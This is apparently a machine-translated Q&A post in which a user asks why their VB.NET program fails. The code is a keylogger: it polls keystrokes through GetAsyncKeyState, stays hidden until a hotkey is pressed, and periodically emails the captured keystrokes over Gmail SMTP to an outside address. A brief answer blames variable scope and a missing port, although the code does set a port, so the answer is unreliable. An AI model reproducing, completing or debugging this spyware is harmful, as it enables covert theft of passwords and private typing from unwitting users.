我一直想弄清楚问题是什么,但我找不到......
Option Strict On Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 105 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If 1 = 13 Then key = vbNewLine Exit For End If Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
Me.Show()
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("example@gmail.com", "passoword")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("example@gmail.com")
mail.To.Add("justinecantado@gmail.com")
mail.From = New MailAddress("example@gmail.com")
mail.Body = tbLog.Text
smtpServer.Send(mail)
End Sub
结束班
答案 0 :(得分:0)
当某些变量超出范围时,某些smtp实现不起作用。但是我认为你的问题是你没有指定端口。